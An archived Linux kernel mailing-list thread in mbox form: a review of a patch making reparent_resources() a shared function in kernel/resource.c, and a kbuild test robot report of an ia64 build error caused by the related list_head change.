> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 0f6f151780dd..ffa63fd8388d 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>   }
>   #endif
>   
> +#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
> +static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
> +		unsigned long addr, pte_t *ptep)
> +{
> +	ptep_clear_flush(vma, addr, ptep);
> +}
> +#endif
> +
>   #endif /* _ASM_GENERIC_HUGETLB_H */



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed, 4 Jul 2018 19:46:41 +0300
Lines: 191
Approved: news@gmane.org
Message-ID: <CAHp75VfWLcQq4XGM3RyfO_ENx=3=WrCEhtOw+a0Sfwz_OpQ0UQ@mail.gmail.com>
References: <20180704041038.8190-1-bhe@redhat.com>
 <20180704041038.8190-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530722683 24864 195.159.176.226 (4 Jul 2018 16:44:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 16:44:43 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>,
 =?UTF-8?B?SsOpcsO0bWUgR2xpc3Nl?= <jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 Rob Her
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 18:44:35 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faktN-0006Fd-Mg
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 18:44:34 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id C1E8F2097F54A;
	Wed,  4 Jul 2018 09:46:44 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=2607:f8b0:400c:c08::243; helo=mail-ua0-x243.google.com;
 envelope-from=andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail-ua0-x243.google.com (mail-ua0-x243.google.com
 [IPv6:2607:f8b0:400c:c08::243])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 656BE209605D6
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed,  4 Jul 2018 09:46:43 -0700 (PDT)
Original-Received: by mail-ua0-x243.google.com with SMTP id x24-v6so3791992ual.10
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed, 04 Jul 2018 09:46:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=WqoLWZpaA1Cd+MOh9azZum+jfI0C8o8GLcUZBCczrM8=;
 b=gfqSQ8hcNAGIOeLeANRyykF+mH2KIe+GY6U2dIkd9gAnFcXlPs0UPtOCdLEwga8QVW
 Npoof58p+G+SKvld07tr0YGk7jBZwjrWYds5Fuw1oTVUzc9WjYyQ8S+WX0+cShhBruBe
 AzG8iMRyhMs+YL61d5Ljxtd1GWIJQTdX17jqbr1U6/Tz8YUR9L1FydmQWoNtCwg4anDp
 WypyBFAath23m1lSTCMYJF1fa23Rw/+x10MgoODXhRaIYMP28RRKhZ7HjJZPp+xT2eLK
 72IEtD1xR8jeD1j/4333W1yykM9sy63nIA2wpi1G3MT2r1p9LOsE51BQqEorW2Oo9ENI
 zHHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=WqoLWZpaA1Cd+MOh9azZum+jfI0C8o8GLcUZBCczrM8=;
 b=qgO56b0wNf3tbyp1LZ/szlKBySej7mldjCCWQM1EqUx8P498uYQb6xrG0gcI8fa7yN
 NewCWtlHg6jk2cNQnb8+EfonaUFeFENWzmul6HdOnPnYtJoh+FX/2vfdPMQtxZp+IXmL
 BV/zNllN8fYlzBiklRWljLOBwVAC0w5nskCGl0xEOATJ/I3YZjxjfx1nvcgc/KxeZ10x
 8tcJuWr/c8IbHaADI9XJuLfZlUSmC0NWADDk5dtY2V66zdR+uHygaafNj2LAzE/EQbKn
 oRNh5YpowifWn3xTFRU8yWxaz0V5l4sZ6+s1a/aQR3jo5SNZ91Z2PVYl/O+fUStxIe2f
 +oIw==
X-Gm-Message-State: APt69E1cLnIQSWSIpT8vwZpGsr7BJCCBkICL+yZ0Y4Uj6BfmLXGoVHhu
 +mxT2Fvla5nwyVWF3Xe31bQKFhdZGx9KK1Gufdg=
X-Google-Smtp-Source: AAOMgpcAh9gGQBujnyuGXsD+LqXGFb8Em2jwbhRYEX0+rTHzB0P8mxcJS2sKo0aRWu92SbPPOI4ObUWOZA9AZjiiJhQ=
X-Received: by 2002:ab0:4c24:: with SMTP id
 l36-v6mr1579877uaf.199.1530722801720; 
 Wed, 04 Jul 2018 09:46:41 -0700 (PDT)
Original-Received: by 2002:a67:2149:0:0:0:0:0 with HTTP;
 Wed, 4 Jul 2018 09:46:41 -0700 (PDT)
In-Reply-To: <20180704041038.8190-2-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10640 gmane.linux.drivers.devicetree:277805 gmane.linux.kernel.pci:73749 gmane.linux.kernel.input:61899 gmane.linux.ports.parisc:28728 gmane.linux.kernel.kexec:21088 gmane.linux.kernel:2811764 gmane.linux.ports.ppc64.devel:159639
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10640>

On Wed, Jul 4, 2018 at 7:10 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> so that it's shared.

With couple of comments below,

Reviewed-by: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>

P.S. In some commit message in this series you used 'likt' instead of 'like'.

>
> Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> ---
>  arch/microblaze/pci/pci-common.c | 37 -------------------------------------
>  arch/powerpc/kernel/pci-common.c | 35 -----------------------------------
>  include/linux/ioport.h           |  1 +
>  kernel/resource.c                | 39 +++++++++++++++++++++++++++++++++++++++
>  4 files changed, 40 insertions(+), 72 deletions(-)
>
> diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
> index f34346d56095..7899bafab064 100644
> --- a/arch/microblaze/pci/pci-common.c
> +++ b/arch/microblaze/pci/pci-common.c
> @@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
>  EXPORT_SYMBOL(pcibios_add_device);
>
>  /*
> - * Reparent resource children of pr that conflict with res
> - * under res, and make res replace those children.
> - */
> -static int __init reparent_resources(struct resource *parent,
> -                                    struct resource *res)
> -{
> -       struct resource *p, **pp;
> -       struct resource **firstpp = NULL;
> -
> -       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> -               if (p->end < res->start)
> -                       continue;
> -               if (res->end < p->start)
> -                       break;
> -               if (p->start < res->start || p->end > res->end)
> -                       return -1;      /* not completely contained */
> -               if (firstpp == NULL)
> -                       firstpp = pp;
> -       }
> -       if (firstpp == NULL)
> -               return -1;      /* didn't find any conflicting entries? */
> -       res->parent = parent;
> -       res->child = *firstpp;
> -       res->sibling = *pp;
> -       *firstpp = res;
> -       *pp = NULL;
> -       for (p = res->child; p != NULL; p = p->sibling) {
> -               p->parent = res;
> -               pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
> -                        p->name,
> -                        (unsigned long long)p->start,
> -                        (unsigned long long)p->end, res->name);
> -       }
> -       return 0;
> -}
> -
> -/*
>   *  Handle resources of PCI devices.  If the world were perfect, we could
>   *  just allocate all the resource regions and do nothing more.  It isn't.
>   *  On the other hand, we cannot just re-allocate all devices, as it would
> diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
> index fe9733ffffaa..926035bb378d 100644
> --- a/arch/powerpc/kernel/pci-common.c
> +++ b/arch/powerpc/kernel/pci-common.c
> @@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
>  EXPORT_SYMBOL(pcibios_align_resource);
>
>  /*
> - * Reparent resource children of pr that conflict with res
> - * under res, and make res replace those children.
> - */
> -static int reparent_resources(struct resource *parent,
> -                                    struct resource *res)
> -{
> -       struct resource *p, **pp;
> -       struct resource **firstpp = NULL;
> -
> -       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> -               if (p->end < res->start)
> -                       continue;
> -               if (res->end < p->start)
> -                       break;
> -               if (p->start < res->start || p->end > res->end)
> -                       return -1;      /* not completely contained */
> -               if (firstpp == NULL)
> -                       firstpp = pp;
> -       }
> -       if (firstpp == NULL)
> -               return -1;      /* didn't find any conflicting entries? */
> -       res->parent = parent;
> -       res->child = *firstpp;
> -       res->sibling = *pp;
> -       *firstpp = res;
> -       *pp = NULL;
> -       for (p = res->child; p != NULL; p = p->sibling) {
> -               p->parent = res;
> -               pr_debug("PCI: Reparented %s %pR under %s\n",
> -                        p->name, p, res->name);
> -       }
> -       return 0;
> -}
> -
> -/*
>   *  Handle resources of PCI devices.  If the world were perfect, we could
>   *  just allocate all the resource regions and do nothing more.  It isn't.
>   *  On the other hand, we cannot just re-allocate all devices, as it would
> diff --git a/include/linux/ioport.h b/include/linux/ioport.h
> index da0ebaec25f0..dfdcd0bfe54e 100644
> --- a/include/linux/ioport.h
> +++ b/include/linux/ioport.h
> @@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
>  struct resource *lookup_resource(struct resource *root, resource_size_t start);
>  int adjust_resource(struct resource *res, resource_size_t start,
>                     resource_size_t size);
> +int reparent_resources(struct resource *parent, struct resource *res);
>  resource_size_t resource_alignment(struct resource *res);
>  static inline resource_size_t resource_size(const struct resource *res)
>  {
> diff --git a/kernel/resource.c b/kernel/resource.c
> index 30e1bc68503b..d1cbf4b50e17 100644
> --- a/kernel/resource.c
> +++ b/kernel/resource.c
> @@ -983,6 +983,45 @@ int adjust_resource(struct resource *res, resource_size_t start,
>  }
>  EXPORT_SYMBOL(adjust_resource);
>
> +/*

/** ?

> + * reparent_resources - reparent resource children of parent that res covers
> + * @parent: parent resource descriptor
> + * @res: resource descriptor desired by caller
> + *
> + * Reparent resource children of 'parent' that conflict with 'res'
> + * under 'res', and make 'res' replace those children.

Describe error codes, please.

> + */
> +int reparent_resources(struct resource *parent, struct resource *res)
> +{
> +       struct resource *p, **pp;
> +       struct resource **firstpp = NULL;
> +
> +       for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> +               if (p->end < res->start)
> +                       continue;
> +               if (res->end < p->start)
> +                       break;
> +               if (p->start < res->start || p->end > res->end)
> +                       return -ENOTSUPP;       /* not completely contained */
> +               if (firstpp == NULL)
> +                       firstpp = pp;
> +       }
> +       if (firstpp == NULL)
> +               return -ECANCELED; /* didn't find any conflicting entries? */
> +       res->parent = parent;
> +       res->child = *firstpp;
> +       res->sibling = *pp;
> +       *firstpp = res;
> +       *pp = NULL;
> +       for (p = res->child; p != NULL; p = p->sibling) {
> +               p->parent = res;
> +               pr_debug("PCI: Reparented %s %pR under %s\n",
> +                        p->name, p, res->name);
> +       }
> +       return 0;
> +}
> +EXPORT_SYMBOL(reparent_resources);
> +
>  static void __init __reserve_region_with_split(struct resource *root,
>                 resource_size_t start, resource_size_t end,
>                 const char *name)
> --
> 2.13.6
>



-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Thu, 5 Jul 2018 01:00:30 +0800
Lines: 110
Approved: news@gmane.org
Message-ID: <201807042312.io0Igseh%fengguang.wu@intel.com>
References: <20180704041038.8190-3-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530723547 28299 195.159.176.226 (4 Jul 2018 16:59:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 16:59:07 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec@list
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 18:58:58 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fal7K-00078X-5Z
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 18:58:58 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 367CD2098874E;
	Wed,  4 Jul 2018 10:01:09 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=192.55.52.88; helo=mga01.intel.com; envelope-from=lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga01.intel.com (mga01.intel.com [192.55.52.88])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id F1C652096891F
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed,  4 Jul 2018 10:01:07 -0700 (PDT)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
 by fmsmga101.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 04 Jul 2018 10:01:07 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,306,1526367600"; 
 d="gz'50?scan'50,208,50";a="69655308"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by fmsmga001.fm.intel.com with ESMTP; 04 Jul 2018 10:01:00 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
 id 1fal9H-000SZY-Tl; Thu, 05 Jul 2018 01:00:59 +0800
In-Reply-To: <20180704041038.8190-3-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Content-Disposition: inline
X-Content-Filtered-By: Mailman/MimeDel 2.1.26
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10643 gmane.linux.kernel.pci:73750 gmane.linux.kernel.input:61901 gmane.linux.drivers.devicetree:277810 gmane.linux.ports.parisc:28729 gmane.linux.kernel.kexec:21089 gmane.linux.kernel:2811784 gmane.linux.ports.ppc64.devel:159641
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10643>

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.18-rc3 next-20180704]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180704-121402
config: ia64-allnoconfig (attached as .config)
compiler: ia64-linux-gcc (GCC) 8.1.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=8.1.0 make.cross ARCH=ia64 

All errors (new ones prefixed by >>):

   arch/ia64/sn/kernel/io_init.c: In function 'sn_io_slot_fixup':
>> arch/ia64/sn/kernel/io_init.c:195:19: error: invalid operands to binary && (have 'int' and 'struct list_head')
      if (res->parent && res->parent->child)
          ~~~~~~~~~~~ ^~ ~~~~~~~~~~~~~~~~~~

vim +195 arch/ia64/sn/kernel/io_init.c

^1da177e Linus Torvalds  2005-04-16  142  
3ec829b6 John Keller     2005-11-29  143  /*
6f09a925 John Keller     2007-01-30  144   * sn_io_slot_fixup() -   We are not running with an ACPI capable PROM,
8ea6091f John Keller     2006-10-04  145   *			  and need to convert the pci_dev->resource
8ea6091f John Keller     2006-10-04  146   *			  'start' and 'end' addresses to mapped addresses,
8ea6091f John Keller     2006-10-04  147   *			  and setup the pci_controller->window array entries.
^1da177e Linus Torvalds  2005-04-16  148   */
8ea6091f John Keller     2006-10-04  149  void
6f09a925 John Keller     2007-01-30  150  sn_io_slot_fixup(struct pci_dev *dev)
^1da177e Linus Torvalds  2005-04-16  151  {
^1da177e Linus Torvalds  2005-04-16  152  	int idx;
ab97b8cc Bjorn Helgaas   2016-03-02  153  	struct resource *res;
18c25526 Matt Fleming    2016-05-04  154  	unsigned long size;
6f09a925 John Keller     2007-01-30  155  	struct pcidev_info *pcidev_info;
6f09a925 John Keller     2007-01-30  156  	struct sn_irq_info *sn_irq_info;
6f09a925 John Keller     2007-01-30  157  	int status;
6f09a925 John Keller     2007-01-30  158  
6f09a925 John Keller     2007-01-30  159  	pcidev_info = kzalloc(sizeof(struct pcidev_info), GFP_KERNEL);
6f09a925 John Keller     2007-01-30  160  	if (!pcidev_info)
d4ed8084 Harvey Harrison 2008-03-04  161  		panic("%s: Unable to alloc memory for pcidev_info", __func__);
6f09a925 John Keller     2007-01-30  162  
6f09a925 John Keller     2007-01-30  163  	sn_irq_info = kzalloc(sizeof(struct sn_irq_info), GFP_KERNEL);
6f09a925 John Keller     2007-01-30  164  	if (!sn_irq_info)
d4ed8084 Harvey Harrison 2008-03-04  165  		panic("%s: Unable to alloc memory for sn_irq_info", __func__);
6f09a925 John Keller     2007-01-30  166  
6f09a925 John Keller     2007-01-30  167  	/* Call to retrieve pci device information needed by kernel. */
6f09a925 John Keller     2007-01-30  168  	status = sal_get_pcidev_info((u64) pci_domain_nr(dev),
6f09a925 John Keller     2007-01-30  169  		(u64) dev->bus->number,
6f09a925 John Keller     2007-01-30  170  		dev->devfn,
6f09a925 John Keller     2007-01-30  171  		(u64) __pa(pcidev_info),
6f09a925 John Keller     2007-01-30  172  		(u64) __pa(sn_irq_info));
6f09a925 John Keller     2007-01-30  173  
80a03e29 Stoyan Gaydarov 2009-03-10  174  	BUG_ON(status); /* Cannot get platform pci device information */
6f09a925 John Keller     2007-01-30  175  
3ec829b6 John Keller     2005-11-29  176  
^1da177e Linus Torvalds  2005-04-16  177  	/* Copy over PIO Mapped Addresses */
^1da177e Linus Torvalds  2005-04-16  178  	for (idx = 0; idx <= PCI_ROM_RESOURCE; idx++) {
ab97b8cc Bjorn Helgaas   2016-03-02  179  		if (!pcidev_info->pdi_pio_mapped_addr[idx])
^1da177e Linus Torvalds  2005-04-16  180  			continue;
^1da177e Linus Torvalds  2005-04-16  181  
ab97b8cc Bjorn Helgaas   2016-03-02  182  		res = &dev->resource[idx];
ab97b8cc Bjorn Helgaas   2016-03-02  183  
ab97b8cc Bjorn Helgaas   2016-03-02  184  		size = res->end - res->start;
ab97b8cc Bjorn Helgaas   2016-03-02  185  		if (size == 0)
3ec829b6 John Keller     2005-11-29  186  			continue;
ab97b8cc Bjorn Helgaas   2016-03-02  187  
240504ad Bjorn Helgaas   2016-03-02  188  		res->start = pcidev_info->pdi_pio_mapped_addr[idx];
18c25526 Matt Fleming    2016-05-04  189  		res->end = res->start + size;
64715725 Bernhard Walle  2007-03-18  190  
64715725 Bernhard Walle  2007-03-18  191  		/*
64715725 Bernhard Walle  2007-03-18  192  		 * if it's already in the device structure, remove it before
64715725 Bernhard Walle  2007-03-18  193  		 * inserting
64715725 Bernhard Walle  2007-03-18  194  		 */
ab97b8cc Bjorn Helgaas   2016-03-02 @195  		if (res->parent && res->parent->child)
ab97b8cc Bjorn Helgaas   2016-03-02  196  			release_resource(res);
